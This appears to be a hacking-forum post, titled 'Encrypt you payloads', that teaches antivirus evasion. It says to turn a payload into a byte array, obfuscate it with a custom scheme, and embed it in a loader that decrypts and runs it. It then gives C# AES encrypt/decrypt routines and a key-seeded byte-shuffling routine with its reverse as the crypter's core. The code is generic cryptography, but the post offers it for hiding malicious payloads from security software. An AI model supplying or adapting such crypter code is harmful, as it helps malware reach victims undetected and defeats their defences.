Encrypt you payloads | STOP OVER THINKING IT | AV COMPANIES ARE IDIOTS!

Encryption for a file is as simple as converting a file into a byte array, obfuscating the array. Taking the array and putting it into some sort of loader. This loader should have the decryption logic of the array to decrypt, then execute. IT AINT HARD! Dont use a simple XOR off the internet do a custom one that is not known yet. Its really just that easy guys. If you are using .net or native make sure the loader can handle it.

Code

//ENCRYPT

public static (byte[] encryptedData, byte[] iv) Encrypt(byte[] data, byte[] key)

    {

        using (Aes aesAlg = Aes.Create())

        {

            aesAlg.Key = key;

            byte[] iv = new byte[16];

            using (RandomNumberGenerator rng = RandomNumberGenerator.Create())

            {

                rng.GetBytes(iv); 

            }

            aesAlg.IV = iv;



            ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);



            using (MemoryStream ms = new MemoryStream())

            {

                using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))

                {

                    cs.Write(data, 0, data.Length);

                }

                return (ms.ToArray(), iv);

            }

        }

    }



    // Byte shuffling 

    public static byte[] ShuffleBytes(byte[] data, byte[] key)

    {

        int[] indices = new int[data.Length];

        byte[] shuffled = new byte[data.Length];

        Random rng = new Random(BitConverter.ToInt32(key, 0)); 



        for (int i = 0; i < data.Length; i++) indices[i] = i;



        for (int i = indices.Length - 1; i > 0; i--)

        {

            int swapIndex = rng.Next(i + 1);

            (indices[i], indices[swapIndex]) = (indices[swapIndex], indices[i]);

        }



        for (int i = 0; i < data.Length; i++)

        {

            shuffled[i] = data[indices[i]];

        }

        return shuffled;

    }







//DECRYPT



public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)

    {

        using (Aes aesAlg = Aes.Create())

        {

            aesAlg.Key = key;

            aesAlg.IV = iv;



            ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);



            using (MemoryStream ms = new MemoryStream(data))

            {

                using (CryptoStream cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))

                {

                    using (MemoryStream output = new MemoryStream())

                    {

                        cs.CopyTo(output);

                        return output.ToArray();

                    }

                }

            }

        }

    }



   

    public static byte[] UnshuffleBytes(byte[] data, byte[] key)

    {

        int[] indices = new int[data.Length];

        byte[] unshuffled = new byte[data.Length];

        Random rng = new Random(BitConverter.ToInt32(key, 0));



        for (int i = 0; i < data.Length; i++) indices[i] = i;



        for (int i = indices.Length - 1; i > 0; i--)

        {

            int swapIndex = rng.Next(i + 1);

            (indices[i], indices[swapIndex]) = (indices[swapIndex], indices[i]);

        }



        for (int i = 0; i < data.Length; i++)

        {

            unshuffled[indices[i]] = data[i];

        }

        return unshuffled;

    }